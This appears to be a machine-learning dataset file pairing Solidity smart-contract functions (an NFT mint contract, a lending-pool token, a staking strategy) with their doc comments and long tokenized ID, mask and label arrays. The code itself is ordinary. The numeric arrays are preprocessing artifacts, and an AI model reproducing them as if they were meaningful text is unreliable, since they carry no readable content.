[ 1, 20597, 716, 4991, 326, 6835, 3410, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 1338, 5541, 1435, 288, 203, 3639, 2583, 12, 3576, 18, 15330, 422, 3410, 16, 315, 11095, 353, 486, 326, 3410, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1313161554/0x19917c01653558C1EfA8Fcd419fa7BC15b9e9Bde/sources/StrategyRoseLP.sol
Puts the funds to work
function sweep() public whenNotPaused { if (balanceOfWant() > 0) { IMultiRewards(rewardPool).stake(balanceOfWant()); emit Deposit(balanceOfWant()); } }
16,942,775
[ 1, 26804, 326, 284, 19156, 358, 1440, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 17462, 1435, 1071, 1347, 1248, 28590, 288, 203, 3639, 309, 261, 12296, 951, 59, 970, 1435, 405, 374, 13, 288, 203, 7734, 467, 5002, 17631, 14727, 12, 266, 2913, 2864, 2934, 334, 911, 12, 12296, 951, 59, 970, 10663, 203, 7734, 3626, 4019, 538, 305, 12, 12296, 951, 59, 970, 10663, 203, 3639, 289, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity >=0.8.10; import "./ERC721.sol"; import "./Ownable.sol"; import "./Strings.sol"; /** __ _ / /| | __ _ _ __ ___ __ _/\ /\___ _ __ ___ ___ / / | |/ _` | '_ ` _ \ / _` \ \ / / _ \ '__/ __|/ _ \ / /__| | (_| | | | | | | (_| |\ V / __/ | \__ \ __/ \____/_|\__,_|_| |_| |_|\__,_| \_/ \___|_| |___/\___| **/ /// @title Pixelated Llama /// @author delta devs (https://twitter.com/deltadevelopers) /// @notice Thrown when attempting to mint while the dutch auction has not started yet. error AuctionNotStarted(); /// @notice Thrown when attempting to mint whilst the total supply (of either static or animated llamas) has been reached. error MintedOut(); /// @notice Thrown when the value of the transaction is not enough when attempting to purchase llama during dutch auction or minting post auction. error NotEnoughEther(); contract PixelatedLlama is ERC721, Ownable { using Strings for uint256; /*/////////////////////////////////////////////////////////////// CONSTANTS //////////////////////////////////////////////////////////////*/ uint256 public constant provenanceHash = 0x7481a3a60827a9db04e46389b14c42d8f0ba2106ed9b239db8249929a8ab9f0b; /// @notice The total supply of Llamas, consisting of both static & animated llamas. uint256 public constant totalSupply = 4000; /// @notice The total supply cap of animated llamas. uint256 public constant animatedSupplyCap = 500; /// @notice The total supply cap of static llamas. /// @dev This does not mean there are 4000 llamas, it means that 4000 is the last tokenId of a static llama. uint256 public constant staticSupplyCap = 4000; /// @notice The total supply cap of the dutch auction. /// @dev 1600 is the (phase 2) whitelist allocation. uint256 public constant auctionSupplyCap = staticSupplyCap - 1600; /// @notice The current supply of animated llamas, and a counter for the next static tokenId. uint256 public animatedSupply; /// @notice The current static supply of llamas, and a counter for the next animated tokenId. /// @dev Starts at the animated supply cap, since the first 500 tokenIds are used for the animated llama supply. uint256 public staticSupply = animatedSupplyCap; /// @notice The UNIX timestamp of the begin of the dutch auction. uint256 constant auctionStartTime = 1645628400; /// @notice The start price of the dutch auction. uint256 public auctionStartPrice = 1.14 ether; /// @notice Allocation of static llamas mintable per address. /// @dev Used for both free minters in Phase 1, and WL minters after the DA. mapping(address => uint256) public staticWhitelist; /// @notice Allocation of animated llamas mintable per address. /// @dev Not used for the WL phase, only for free mints. mapping(address => uint256) public animatedWhitelist; /// @notice The mint price of a static llama. uint256 public staticPrice; /*/////////////////////////////////////////////////////////////// METADATA STORAGE //////////////////////////////////////////////////////////////*/ /// @notice The base URI which retrieves token metadata. string baseURI; /// @notice Guarantees that the dutch auction has started. /// @dev This also warms up the storage slot for auctionStartTime to save gas in getCurrentTokenPrice modifier auctionStarted() { if (block.timestamp < auctionStartTime) revert AuctionNotStarted(); _; } /*/////////////////////////////////////////////////////////////// CONSTRUCTOR //////////////////////////////////////////////////////////////*/ constructor(string memory _baseURI) ERC721("Pixelated Llama", "PXLLMA") { baseURI = _baseURI; } /*/////////////////////////////////////////////////////////////// METADATA LOGIC //////////////////////////////////////////////////////////////*/ function tokenURI(uint256 id) public view override returns (string memory) { return string(abi.encodePacked(baseURI, id.toString())); } function setBaseURI(string memory _baseURI) public onlyOwner { baseURI = _baseURI; } /// @notice Uploads the number of mintable static llamas for each WL address. /// @param addresses The WL addresses. function uploadStaticWhitelist( address[] calldata addresses ) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { staticWhitelist[addresses[i]] = 1; } } /// @notice Uploads the number of mintable static llamas for each WL address. /// @param addresses The WL addresses. /// @param counts The number of static llamas allocated to the same index in the first array. function uploadStaticWhitelist( address[] calldata addresses, uint256[] calldata counts ) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { staticWhitelist[addresses[i]] = counts[i]; } } /// @notice Uploads the number of mintable animated llamas for each WL address. /// @param addresses The WL addresses. /// @param counts The number of animated llamas allocated to the same index in the first array. function uploadAnimatedWhitelist( address[] calldata addresses, uint256[] calldata counts ) public onlyOwner { for (uint256 i = 0; i < addresses.length; i++) { animatedWhitelist[addresses[i]] = counts[i]; } } /*/////////////////////////////////////////////////////////////// DUTCH AUCTION LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Mints one static llama during the dutch auction. function mintAuction() public payable auctionStarted { if (msg.value < getCurrentTokenPrice()) revert NotEnoughEther(); if (staticSupply >= auctionSupplyCap) revert MintedOut(); unchecked { _mint(msg.sender, staticSupply); staticSupply++; } } /// @notice Calculates the auction price with the accumulated rate deduction since the auction's begin /// @return The auction price at the current time, or 0 if the deductions are greater than the auction's start price. function validCalculatedTokenPrice() private view returns (uint256) { uint256 priceReduction = ((block.timestamp - auctionStartTime) / 5 minutes) * 0.1 ether; return auctionStartPrice >= priceReduction ? (auctionStartPrice - priceReduction) : 0; } /// @notice Calculates the current dutch auction price, given accumulated rate deductions and a minimum price. /// @return The current dutch auction price. function getCurrentTokenPrice() public view returns (uint256) { return max(validCalculatedTokenPrice(), 0.01 ether); } /// @notice Returns the price needed for a user to mint the static llamas allocated to him. function getWhitelistPrice() public view returns (uint256) { return staticPrice * staticWhitelist[msg.sender]; } /*/////////////////////////////////////////////////////////////// FREE & WL MINT LOGIC //////////////////////////////////////////////////////////////*/ /// @notice Allows the contract deployer to set the price for static llamas (after the DA). /// @param _staticPrice The new price for a static llama. function setStaticPrice(uint256 _staticPrice) public onlyOwner { staticPrice = _staticPrice; } /// @notice Mints all static llamas allocated to the sender, for use by free minters in the first phase, and WL minters post-auction. function mintStaticLlama() public payable { uint256 count = staticWhitelist[msg.sender]; if (staticSupply + count > staticSupplyCap) revert MintedOut(); if (msg.value < staticPrice * count) revert NotEnoughEther(); unchecked { delete staticWhitelist[msg.sender]; _bulkMint(msg.sender, staticSupply, count); staticSupply += count; } } /// @notice Mints all animated llamas allocated to the sender, for use by free minters in the first phase. function mintAnimatedLlama() public payable { uint256 count = animatedWhitelist[msg.sender]; if (animatedSupply + count > animatedSupplyCap) revert MintedOut(); unchecked { delete animatedWhitelist[msg.sender]; _bulkMint(msg.sender, animatedSupply, count); animatedSupply += count; } } /// @notice Mints all allocated llamas to the sender in one transaction. function bulkMint() public payable { mintAnimatedLlama(); mintStaticLlama(); } /// @notice Mints multiple llamas in bulk. /// @param to The address to transfer minted assets to. /// @param id The token ID of the first llama that will be minted. /// @param count The amount of llamas to be minted. function _bulkMint( address to, uint256 id, uint256 count ) internal { /// @dev We never mint to address(0) so this require is unnecessary. // require(to != address(0), "INVALID_RECIPIENT"); unchecked { balanceOf[to] += count; } for (uint256 i = id; i < id + count; i++) { /// @dev The following require has been removed because the tokens mint in succession and this function is no longer called post mint phase. // require(ownerOf[i] == address(0), "ALREADY_MINTED"); ownerOf[i] = to; emit Transfer(address(0), to, i); } } /// @notice Withdraws collected funds to the contract owner. function withdraw() public onlyOwner { (bool success, ) = msg.sender.call{value: address(this).balance}(""); require(success); } /// @notice Permits the contract owner to roll over unminted animated llamas in case of a failed mint-out. function rollOverAnimated(address wallet) public onlyOwner { uint count = animatedSupplyCap - animatedSupply; _bulkMint(wallet, animatedSupply, count); unchecked { animatedSupply += count; } } /// @notice Permits the contract owner to roll over unminted static llamas in case of a failed mint-out. function rollOverStatic(address wallet) public onlyOwner { uint count = staticSupplyCap - staticSupply; _bulkMint(wallet, staticSupply, count); unchecked { staticSupply += count; } } /*/////////////////////////////////////////////////////////////// UTILS //////////////////////////////////////////////////////////////*/ /// @notice Returns the greater of two numbers. function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) public pure override(ERC721, Ownable) returns (bool) { return interfaceId == 0x01ffc9a7 || // ERC165 Interface ID for ERC165 interfaceId == 0x80ac58cd || // ERC165 Interface ID for ERC721 interfaceId == 0x5b5e139f || // ERC165 Interface ID for ERC721Metadata interfaceId == 0x7f5828d0; // ERC165 Interface ID for ERC173 } }
@notice Permits the contract owner to roll over unminted static llamas in case of a failed mint-out.
function rollOverStatic(address wallet) public onlyOwner { uint count = staticSupplyCap - staticSupply; _bulkMint(wallet, staticSupply, count); unchecked { staticSupply += count; } } UTILS
11,861,617
[ 1, 9123, 1282, 326, 6835, 3410, 358, 5824, 1879, 27701, 474, 329, 760, 6579, 301, 345, 316, 648, 434, 279, 2535, 312, 474, 17, 659, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 5824, 4851, 5788, 12, 2867, 9230, 13, 1071, 1338, 5541, 288, 203, 3639, 2254, 1056, 273, 760, 3088, 1283, 4664, 300, 760, 3088, 1283, 31, 203, 3639, 389, 14597, 49, 474, 12, 19177, 16, 760, 3088, 1283, 16, 1056, 1769, 203, 3639, 22893, 288, 203, 5411, 760, 3088, 1283, 1011, 1056, 31, 203, 3639, 289, 203, 565, 289, 203, 203, 27573, 4732, 2627, 55, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // Contracts import { CONTROLLER, ADMIN, EXCHANGE_RATE_FACTOR, ONE_HUNDRED_PERCENT } from "./data.sol"; import { ITTokenStrategy } from "./strategies/ITTokenStrategy.sol"; import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // Utils import { Address } from "@openzeppelin/contracts/utils/Address.sol"; // Interfaces import { ITToken } from "./ITToken.sol"; import { ICErc20 } from "../../shared/interfaces/ICErc20.sol"; // Libraries import { IERC20, SafeERC20 } from "@openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol"; import { ERC165Checker } from "@openzeppelin/contracts/utils/introspection/ERC165Checker.sol"; import { RolesLib } from "../../contexts2/access-control/roles/RolesLib.sol"; import { NumbersLib } from "../../shared/libraries/NumbersLib.sol"; // Storage import "./storage.sol" as Storage; /** * @notice This contract represents a lending pool for an asset within Teller protocol. * @author [email protected] */ contract TToken_V1 is ITToken { function() pure returns (Storage.Store storage) private constant s = Storage.store; /* Modifiers */ /** * @notice Checks if the LP is restricted or has the CONTROLLER role. * * The LP being restricted means that only the Teller protocol may * lend/borrow funds. */ modifier notRestricted { require( !s().restricted || RolesLib.hasRole(CONTROLLER, _msgSender()), "Teller: platform restricted" ); _; } /* Public Functions */ /** * @notice it returns the decimal places of the respective TToken * @return decimals of the token */ function decimals() public view override returns (uint8) { return s().decimals; } /** * @notice The token that is the underlying assets for this Teller token. * @return ERC20 token that is the underl */ function underlying() public view override returns (ERC20) { return s().underlying; } /** * @notice The balance of an {account} denoted in underlying value. * @param account Address to calculate the underlying balance. * @return balance_ the balance of the account */ function balanceOfUnderlying(address account) public override returns (uint256) { return _valueInUnderlying(balanceOf(account), exchangeRate()); } /** * @notice It calculates the current exchange rate for a whole Teller Token based of the underlying token balance. * @return rate_ The current exchange rate. */ function exchangeRate() public override returns (uint256 rate_) { if (totalSupply() == 0) { return EXCHANGE_RATE_FACTOR; } rate_ = (currentTVL() * EXCHANGE_RATE_FACTOR) / totalSupply(); } /** * @notice It calculates the total supply of the underlying asset. * @return totalSupply_ the total supply denoted in the underlying asset. */ function totalUnderlyingSupply() public override returns (uint256) { bytes memory data = _delegateStrategy( abi.encodeWithSelector( ITTokenStrategy.totalUnderlyingSupply.selector ) ); return abi.decode(data, (uint256)); } /** * @notice It calculates the market state values across a given markets. * @notice Returns values that represent the global state across the market. * @return totalSupplied Total amount of the underlying asset supplied. * @return totalBorrowed Total amount borrowed through loans. * @return totalRepaid The total amount repaid till the current timestamp. * @return totalInterestRepaid The total amount interest repaid till the current timestamp. * @return totalOnLoan Total amount currently deployed in loans. */ function getMarketState() external override returns ( uint256 totalSupplied, uint256 totalBorrowed, uint256 totalRepaid, uint256 totalInterestRepaid, uint256 totalOnLoan ) { totalSupplied = totalUnderlyingSupply(); totalBorrowed = s().totalBorrowed; totalRepaid = s().totalRepaid; totalInterestRepaid = s().totalInterestRepaid; totalOnLoan = totalBorrowed - totalRepaid; } /** * @notice Calculates the current Total Value Locked, denoted in the underlying asset, in the Teller Token pool. * @return tvl_ The value locked in the pool. * * Note: This value includes the amount that is on loan (including ones that were sent to EOAs). */ function currentTVL() public override returns (uint256 tvl_) { tvl_ += totalUnderlyingSupply(); tvl_ += s().totalBorrowed; tvl_ -= s().totalRepaid; } /** * @notice It validates whether supply to debt (StD) ratio is valid including the loan amount. * @param newLoanAmount the new loan amount to consider the StD ratio. * @return ratio_ Whether debt ratio for lending pool is valid. */ function debtRatioFor(uint256 newLoanAmount) external override returns (uint16 ratio_) { uint256 onLoan = s().totalBorrowed - s().totalRepaid; uint256 supplied = totalUnderlyingSupply() + onLoan; if (supplied > 0) { ratio_ = NumbersLib.ratioOf(onLoan + newLoanAmount, supplied); } } /** * @notice Called by the Teller Diamond contract when a loan has been taken out and requires funds. * @param recipient The account to send the funds to. * @param amount Funds requested to fulfil the loan. */ function fundLoan(address recipient, uint256 amount) external override authorized(CONTROLLER, _msgSender()) { // If TToken is not holding enough funds to cover the loan, call the strategy to try to withdraw uint256 balance = s().underlying.balanceOf(address(this)); if (balance < amount) { _delegateStrategy( abi.encodeWithSelector( ITTokenStrategy.withdraw.selector, amount - balance ) ); } // Increase total borrowed amount s().totalBorrowed += amount; // Transfer tokens to recipient SafeERC20.safeTransfer(s().underlying, recipient, amount); } /** * @notice Called by the Teller Diamond contract when a loan has been repaid. * @param amount Funds deposited back into the pool to repay the principal amount of a loan. * @param interestAmount Interest value paid into the pool from a loan. */ function repayLoan(uint256 amount, uint256 interestAmount) external override authorized(CONTROLLER, _msgSender()) { s().totalRepaid += amount; s().totalInterestRepaid += interestAmount; } /** * @notice Deposit underlying token amount into LP and mint tokens. * @param amount The amount of underlying tokens to use to mint. * @return Amount of TTokens minted. */ function mint(uint256 amount) external override notRestricted returns (uint256) { require(amount > 0, "Teller: cannot mint 0"); require( amount <= s().underlying.balanceOf(_msgSender()), "Teller: insufficient underlying" ); // Calculate amount of tokens to mint uint256 mintAmount = _valueOfUnderlying(amount, exchangeRate()); // Transfer tokens from lender SafeERC20.safeTransferFrom( s().underlying, _msgSender(), address(this), amount ); // Mint Teller token value of underlying _mint(_msgSender(), mintAmount); emit Mint(_msgSender(), mintAmount, amount); return mintAmount; } /** * @notice Redeem supplied Teller token underlying value. * @param amount The amount of Teller tokens to redeem. */ function redeem(uint256 amount) external override { require(amount > 0, "Teller: cannot withdraw 0"); require( amount <= balanceOf(_msgSender()), "Teller: redeem amount exceeds balance" ); // Accrue interest and calculate exchange rate uint256 underlyingAmount = _valueInUnderlying(amount, exchangeRate()); require( underlyingAmount <= totalUnderlyingSupply(), "Teller: redeem ttoken lp not enough supply" ); // Burn Teller Tokens and transfer underlying _redeem(amount, underlyingAmount); } /** * @notice Redeem supplied underlying value. * @param amount The amount of underlying tokens to redeem. */ function redeemUnderlying(uint256 amount) external override { require(amount > 0, "Teller: cannot withdraw 0"); require( amount <= totalUnderlyingSupply(), "Teller: redeem ttoken lp not enough supply" ); // Accrue interest and calculate exchange rate uint256 rate = exchangeRate(); uint256 tokenValue = _valueOfUnderlying(amount, rate); // Make sure sender has adequate balance require( tokenValue <= balanceOf(_msgSender()), "Teller: redeem amount exceeds balance" ); // Burn Teller Tokens and transfer underlying _redeem(tokenValue, amount); } /** * @dev Redeem an {amount} of Teller Tokens and transfers {underlyingAmount} to the caller. * @param amount Total amount of Teller Tokens to burn. * @param underlyingAmount Total amount of underlying asset tokens to transfer to caller. * * This function should only be called by {redeem} and {redeemUnderlying} after the exchange * rate and both token values have been calculated to use. */ function _redeem(uint256 amount, uint256 underlyingAmount) internal { // Burn Teller tokens _burn(_msgSender(), amount); // Make sure enough funds are available to redeem _delegateStrategy( abi.encodeWithSelector( ITTokenStrategy.withdraw.selector, underlyingAmount ) ); // Transfer funds back to lender SafeERC20.safeTransfer(s().underlying, _msgSender(), underlyingAmount); emit Redeem(_msgSender(), amount, underlyingAmount); } /** * @notice Rebalances the funds controlled by Teller Token according to the current strategy. * * See {TTokenStrategy}. */ function rebalance() public override { _delegateStrategy( abi.encodeWithSelector(ITTokenStrategy.rebalance.selector) ); } /** * @notice Sets a new strategy to use for balancing funds. * @param strategy Address to the new strategy contract. Must implement the {ITTokenStrategy} interface. * @param initData Optional data to initialize the strategy. * * Requirements: * - Sender must have ADMIN role */ function setStrategy(address strategy, bytes calldata initData) external override authorized(ADMIN, _msgSender()) { require( ERC165Checker.supportsInterface( strategy, type(ITTokenStrategy).interfaceId ), "Teller: strategy does not support ITTokenStrategy" ); s().strategy = strategy; if (initData.length > 0) { _delegateStrategy(initData); } } /** * @notice Gets the strategy used for balancing funds. * @return address of the strategy contract */ function getStrategy() external view override returns (address) { return s().strategy; } /** * @notice Sets the restricted state of the platform. * @param state boolean value that resembles the platform's state */ function restrict(bool state) public override authorized(ADMIN, _msgSender()) { s().restricted = state; } /** * @notice it initializes the Teller Token * @param admin address of the admin to the respective Teller Token * @param underlying address of the ERC20 token */ function initialize(address admin, address underlying) external override initializer { require( Address.isContract(msg.sender), "Teller: controller not contract" ); require( Address.isContract(underlying), "Teller: underlying token not contract" ); RolesLib.grantRole(CONTROLLER, msg.sender); RolesLib.grantRole(ADMIN, admin); s().underlying = ERC20(underlying); __ERC20_init( string(abi.encodePacked("Teller ", s().underlying.name())), string(abi.encodePacked("t", s().underlying.symbol())) ); s().decimals = s().underlying.decimals(); // Platform restricted by default s().restricted = true; } /** * @notice it retrieves the value of the underlying token * @param amount the amount of tokens to calculate the value of * @param rate the exchangeRate() to divide with the amount * exchange_rate_factor * @return value_ the underlying value of the token amount */ function _valueOfUnderlying(uint256 amount, uint256 rate) internal pure returns (uint256 value_) { value_ = (amount * EXCHANGE_RATE_FACTOR) / rate; } /** * @notice it retrives the value in the underlying tokens * */ function _valueInUnderlying(uint256 amount, uint256 rate) internal pure returns (uint256 value_) { value_ = (amount * (rate)) / EXCHANGE_RATE_FACTOR; } /** * @notice Delegates data to call on the strategy contract. * @param callData Data to call the strategy contract with. * * Requirements: * - Sender must have ADMIN role */ function _delegateStrategy(bytes memory callData) internal returns (bytes memory) { return Address.functionDelegateCall(s().strategy, callData); } }
* @notice Sets a new strategy to use for balancing funds. @param strategy Address to the new strategy contract. Must implement the {ITTokenStrategy} interface. @param initData Optional data to initialize the strategy. Requirements: - Sender must have ADMIN role/
function setStrategy(address strategy, bytes calldata initData) external override authorized(ADMIN, _msgSender()) { require( ERC165Checker.supportsInterface( strategy, type(ITTokenStrategy).interfaceId ), "Teller: strategy does not support ITTokenStrategy" ); s().strategy = strategy; if (initData.length > 0) { _delegateStrategy(initData); } }
6,355,631
[ 1, 2785, 279, 394, 6252, 358, 999, 364, 324, 16142, 284, 19156, 18, 225, 6252, 5267, 358, 326, 394, 6252, 6835, 18, 6753, 2348, 326, 288, 1285, 1345, 4525, 97, 1560, 18, 225, 1208, 751, 4055, 501, 358, 4046, 326, 6252, 18, 29076, 30, 225, 300, 15044, 1297, 1240, 25969, 2478, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
